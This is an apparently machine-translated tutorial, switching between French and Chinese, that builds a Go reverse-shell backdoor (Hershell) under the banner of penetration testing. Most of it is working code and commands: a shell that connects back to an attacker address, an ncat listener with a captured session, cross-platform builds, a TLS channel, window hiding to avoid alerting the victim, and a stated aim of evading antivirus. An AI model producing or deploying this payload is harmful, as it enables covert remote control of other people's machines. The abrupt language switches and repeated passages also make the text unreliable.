Maison > Article > développement back-end > Le langage Go peut-il être utilisé pour les tests d'intrusion ?
Le langage Go peut être utilisé pour les tests d'intrusion. Go facilite grandement la compilation croisée sans nécessiter de dépendances externes. Grâce à la bibliothèque standard, un binaire Go contient tout le code nécessaire pour s'exécuter sur l'architecture cible ; le langage Go devrait donc faciliter la création de binaires pour plusieurs plates-formes à partir du même code source ;
L'environnement d'exploitation de ce tutoriel : système Windows 7, GO version 1.18, ordinateur Dell G3.
Qu'est-ce qu'un test d'intrusion
Un test d'intrusion est une attaque simulée autorisée sur un système informatique pour évaluer sa sécurité et est fourni pour démontrer que les défenses du réseau fonctionnent comme prévu. Supposons que votre entreprise met régulièrement à jour ses politiques et procédures de sécurité, applique des correctifs aux systèmes de temps en temps et utilise des outils tels que des scanners de vulnérabilités pour garantir que tous les correctifs sont appliqués. Le langage Go peut être utilisé pour les tests d'intrusion .
Cet environnement contient un grand nombre de charges utiles, d'encodeurs et d'autres outils. Meterpreter est important parmi ces charges utiles : il s'agit d'une version modifiée du shell avec des commandes développées et post-exploitées. En raison de ses puissantes caractéristiques d’attaque, cet obus est probablement le plus couramment utilisé. Problèmes avec Meterpreter
Malheureusement, la popularité de Meterpreter a un inconvénient : il est détecté par la plupart des solutions antivirus et basées sur les signatures. Généralement lors d'un test d'intrusion, un binaire contenant une charge utile Meterpreter est détecté et envoyé en quarantaine. Un autre problème pourrait être le manque de support pour une architecture cible spécifique (par exemple BSD), nous obligeant à développer notre propre porte dérobée.
Les problèmes ci-dessus nous ont incités à écrire à Hershell. L'objectif de ce projet est de fournir une charge utile de shell inversé basée sur un code source unique, multiplateforme et indétectable par un logiciel antivirus.
Nous développons en utilisant le langage Go, qui est un langage compilé développé par Google.
Pourquoi utiliser le langage GO ?
De nos jours, Python est probablement le langage le plus populaire pour écrire des scripts et même compléter des applications, notamment dans le domaine de la sécurité. Alors pourquoi devrions-nous apprendre un nouveau langage ?
Go a un avantage par rapport à Python ou à d'autres langages : il est très simple d'effectuer une compilation croisée sans aucune dépendance externe. Grâce à la bibliothèque standard, un binaire Go contient tout le code nécessaire à exécuter sur l'architecture cible. Par conséquent, le langage Go devrait faciliter la création de binaires pour plusieurs plates-formes à partir du même code source.
ObjectifsLors de la construction de ce code, nous souhaitons atteindre les objectifs suivants : payload类型是reverse shell;
得到一个跨多个平台(Windows、Linux、MacOS、ARM)和硬件架构的payload;
容易配置;
加密通信;
绕过大多数反病毒检测引擎。
Installez le package Go à partir de votre distribution préférée ou téléchargez-le depuis le site officiel.
Une fois l'installation terminée, nous devons configurer l'environnement. Nous créons un répertoire dev qui sera la racine des sources, des bibliothèques et des binaires de construction :
$ mkdir -p $HOME/dev/{src,bin,pkg} $ export GOPATH=$HOME/dev $ cd dev
Le répertoire suit le plan ci-dessous :
bin包含编译后的二进制文件和其他可执行文件; pkg包含Go下载包的对象文件; src包含你的应用程序和下载包的源目录。Mon premier reverse shell
Tout d'abord, créez un simple reverse TCP shell utilisant le langage Go.
// filename: tcp.go package main import ( "net" // requirement to establish a connection "os" // requirement to call os.Exit() "os/exec" // requirement to execute commands against the target system ) func main() { // Connecting back to the attacker // If it fails, we exit the program conn, err := net.Dial("tcp", "192.168.0.23:2233") if err != nil { os.Exit(1) } // Creating a /bin/sh process cmd := exec.Command("/bin/sh") // Connecting stdin and stdout // to the opened connection cmd.Stdin = conn cmd.Stdout = conn cmd.Stderr = conn // Run the process cmd.Run() }
Pour en savoir plus sur l'utilisation d'un package, la documentation (aller doc) est utile :
$ go doc net package net // import "net" Package net provides a portable interface for network I/O, including TCP/IP, UDP, domain name resolution, and Unix domain sockets. Although the package provides access to low-level networking primitives, most clients will need only the basic interface provided by the Dial, Listen, and Accept functions and the associated Conn and Listener interfaces. The crypto/tls package uses the same interfaces and similar Dial and Listen functions. ...
Revenons au script.
Une fois la connexion établie (en cas d'échec, le programme est arrêté), on crée un processus (objet de type exec.Cmd) grâce à la fonction exec.Command. Toutes les entrées et sorties (stdout, stdin et stderr) sont redirigées vers la connexion et le processus est démarré.
$ go build tcp.go $ ./tcp
Maintenant, nous devons activer l'écouteur :
# Listening server (attacker)
$ ncat -lvp 2233
Listening on [0.0.0.0] (family 0, port 2233)
Connection from 192.168.0.20 38422 received!
id
uid=1000(lab) gid=100(users) groupes=100(users)
如预期的那样,我们得到了reverse shell。
到目前为止我们大多数的目标尚未实现。
配置
我们现在有一些reverse shell基本代码。但是在每次编译之后我们必须修改,以便定义攻击者的监听端口和IP地址。
这种操作虽然不是很便利。但这里可以引入一个简单的小技巧:在连接时(在编译之前)进行变量定义。
事实上,在构建过程中,可以定义一些变量的值(使用go build命令)。
这是使用前面代码的一个简短的例子:
// filename: tcp.go
package main
import (
"net"
"os"
"os/exec"
)
// variable to be defined at compiling time
var connectString string
func main() {
if len(connectString) == 0 {
os.Exit(1)
}
conn, err := net.Dial("tcp", connectString)
if err != nil {
os.Exit(1)
}
cmd := exec.Command("/bin/sh")
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run()
}
我们只添加下面一行代码,进行一个安全测试以检查它是否包含一个值:
var connectString string
其代码编译如下:
$ go build --ldflags "-X main.connectString=192.168.0.23:2233" tcp.go
当我们构建二进制文件时,攻击者的IP地址和端口可以被动态定义。
注意,可以以package.nomVariable的模式访问这些变量,并且这些变量只能是string类型。
为了简化编译,我们可以创建一个Makefile:
# Makefile
SOURCE=tcp.go
BUILD=go build
OUTPUT=reverse_shell
LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT}"
all:
${BUILD} ${LDFLAGS} -o ${OUTPUT} ${SOURCE}
clean:
rm -f ${OUTPUT}
本文的其余部分,我们将使用LHOST和LPORT环境变量来定义设置:
$ make LHOST=192.168.0.23 LPORT=2233
go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp.go
跨平台
既然可以很容易地配置 payload,也可以跨平台使用它。
如前所述,payload的强项之一是从同一个代码库使用Go语言为各种架构和平台进行构建。
准确地说, runtime提供了GOOS和GOARCH变量。
让我们看看如何使用GOOS:
// filename: tcp_multi.go
package main
import (
"net"
"os"
"os/exec"
"runtime" // requirement to access to GOOS
)
var connectString string
func main() {
var cmd *exec.Cmd
if len(connectString) == 0 {
os.Exit(1)
}
conn, err := net.Dial("tcp", connectString)
if err != nil {
os.Exit(1)
}
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd.exe")
case "linux":
cmd = exec.Command("/bin/sh")
case "freebsd":
cmd = exec.Command("/bin/csh")
default:
cmd = exec.Command("/bin/sh")
}
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run()
}
很显然,我们添加了一个switch模块来处理GOOS不同的值。因此,我们只是检查几个操作系统的值,并且改变每个目标进程。
上面的代码可以进一步简化,实际上除了Windows,大多数操作系统上都有/bin/sh:
switch runtime.GOOS {
case "windows":
// Windows specific branch
cmd = exec.Command("cmd.exe")
default:
// any other OS
cmd = exec.Command("/bin/sh")
}
现在,使用GOARCH处理交叉编译架构非常简单:
$ make GOOS=windows GOARCH=amd64 LHOST=192.168.0.23 LPORT=2233
go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp_multi.go
$ file reverse_shell
reverse_shell: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
网络加密
现在,让我们看看如何加密网络流量。
有几种选择:
用一个自制的方法,在应用程序层建立加密
使用一种被广泛使用并且在会话层测试协议的方法,即TLS。
鉴于我们都倾向于简单和安全,我们选择了很容易用Go语言实现的TLS。标准库已经支持一切支持TLS的东西。
在客户端,一个新的&tls.Config类型对象需要配置连接,比如证书锁定(certificate pinning)。
这是新的代码库,进行了轻微的优化和TLS处理:
import (
"crypto/tls"
"runtime"
"os"
"os/exec"
"net"
)
var connectString string
func GetShell(conn net.Conn) {
var cmd *exec.Cmd
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd.exe")
default:
cmd = exec.Command("/bin/sh")
}
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Stdin = conn
cmd.Run()
}
func Reverse(connectString string) {
var (
conn *tls.Conn
err error
)
// Creation of the tls.Config object
// Accepting *any* server certificate
config := &tls.Config{InsecureSkipVerify: true}
if conn, err = tls.Dial("tcp", connectString, config); err != nil {
os.Exit(-1)
}
defer conn.Close()
// Starting the shell
GetShell(conn)
}
func main() {
if len(connectString) == 0 {
os.Exit(1)
}
Reverse(connectString)
}
如示例所示,创建一个TLS套接字(socket)非常类似于创建一个简单的TCP socket。不同于tls.Config,tls.Conn对象与net.Conn以相同的方式被使用。
条件编译
如上图所示,可以改变取决于目标操作系统的程序执行。
然而,如果你想使用这段代码,你会注意到一个问题。cmd.exe窗口会出现,并且无法隐藏,从而会提醒受害者。
幸运的是,exec.Cmd对象的SysProcAttr可以改变这种情况,如本文所述:
$ go doc exec.Cmd
...
// SysProcAttr holds optional, operating system-specific attributes.
// Run passes it to os.StartProcess as the os.ProcAttr's Sys field.
SysProcAttr *syscall.SysProcAttr
...
在Linux下,关于syscall.SysProcAttr模块文件,我们得到以下信息:
$ go doc syscall.SysProcAttr
type SysProcAttr struct {
Chroot string // Chroot.
Credential *Credential // Credential.
Ptrace bool // Enable tracing.
Setsid bool // Create session.
Setpgid bool // Set process group ID to Pgid, or, if Pgid == 0, to new pid.
Setctty bool // Set controlling terminal to fd Ctty (only meaningful if Setsid is set)
Noctty bool // Detach fd 0 from controlling terminal
Ctty int // Controlling TTY fd
Foreground bool // Place child's process group in foreground. (Implies Setpgid. Uses Ctty as fd of controlling TTY)
Pgid int // Child's process group ID if Setpgid.
Pdeathsig Signal // Signal that the process will get when its parent dies (Linux only)
Cloneflags uintptr // Flags for clone calls (Linux only)
Unshareflags uintptr // Flags for unshare calls (Linux only)
UidMappings []SysProcIDMap // User ID mappings for user namespaces.
GidMappings []SysProcIDMap // Group ID mappings for user namespaces.
// GidMappingsEnableSetgroups enabling setgroups syscall.
// If false, then setgroups syscall will be disabled for the child process.
// This parameter is no-op if GidMappings == nil. Otherwise for unprivileged
// users this should be set to false for mappings work.
GidMappingsEnableSetgroups bool
}
然而,在syscall package(包)的源代码中,我们观察到每一个构建都有一个特定的实现。
此外,在Windows的exec子方式中,我们注意到SysProcAttr结构有不同的定义。它有一个HidWindow属性(布尔类型),当启动一个程序时这一属性允许隐藏启动窗口。
该属性也正是我们的后门需要的。
我们可能会被这一实现所吸引:
...
switch runtime.GOOS {
case "windows":
cmd := exec.Cmd("cmd.exe")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
default:
cmd := exec.Cmd("/bin/sh")
}
...
然而,由于HideWindow属性在syscall/exec_linux.go中不存在,因此这种编译在除了Windows之外的任何其他平台可能会失败。
因此,我们需要调整我们的项目的结构,使用条件编译。条件编译指的是一种特性,允许添加源代码文件顶部编译器的命令。例如,如果我们想要编译一个只适用于Windows操作系统的源文件,我们将添加该命令:
// +build windows !linux !darwin !freebsd
import net
...
当GOOS变量设置为darwin、 linux 或者freebsd时,该命令将指示编译器不包括该文件。当然,当值与windows匹配时,编译器将包含该源文件。
为了在我们的项目中实现该条件编译,我们将遵循这个结构:
$ tree
├── hershell.go
├── Makefile
├── README.md
└── shell
├── shell_default.go
└── shell_windows.go
hershell.go包含程序的核心部分。然后,我们创建一个名为shell的模块,该模块有两个文件:适用于Linux和Unix的shell_default.go文件;以及适用于Windows的shell_windows.go文件。
证书锁定
使用TLS安全通信是件好事,但只要我们不对服务器进行身份验证,流量仍然可以被“中间人”劫持。
为了预防这种攻击,我们将验证服务器提供的证书,这就叫做“证书锁定(certificate pinning)”。
以下函数负责证书锁定(certificate pinning):
func CheckKeyPin(conn *tls.Conn, fingerprint []byte) (bool, error) {
valid := false
connState := conn.ConnectionState()
for _, peerCert := range connState.PeerCertificates {
hash := sha256.Sum256(peerCert.Raw)
if bytes.Compare(hash[0:], fingerprint) == 0 {
valid = true
}
}
return valid, nil
}
这个函数接受一个tls.Conn对象的指针作为参数,并且包含SHA256格式的指纹证书的一个字节数组。在连接过程中,该代码扫描所有tls.Conn中的PeerCertificates,直到发现与提供的相匹配的指纹为止。
如果碰巧没有证书匹配,函数返回false。
当需要建立与远程服务器的连接时,我们只需要调用该函数;如果提交的证书是无效的则会关闭连接:
func Reverse(connectString string, fingerprint []byte) {
var (
conn *tls.Conn
err error
)
config := &tls.Config{InsecureSkipVerify: true}
if conn, err = tls.Dial("tcp", connectString, config); err != nil {
os.Exit(ERR_HOST_UNREACHABLE)
}
defer conn.Close()
// checking the certificate fingerprint
if ok, err := CheckKeyPin(conn, fingerprint); err != nil || !ok {
os.Exit(ERR_BAD_FINGERPRINT)
}
RunShell(conn)
}
最初,由于–ldflags,在编译(在Makefile中)过程中可以生成有效的指纹:
...
LINUX_LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT} -X main.connType=${TYPE} -X main.fingerPrint=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2)"
...
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!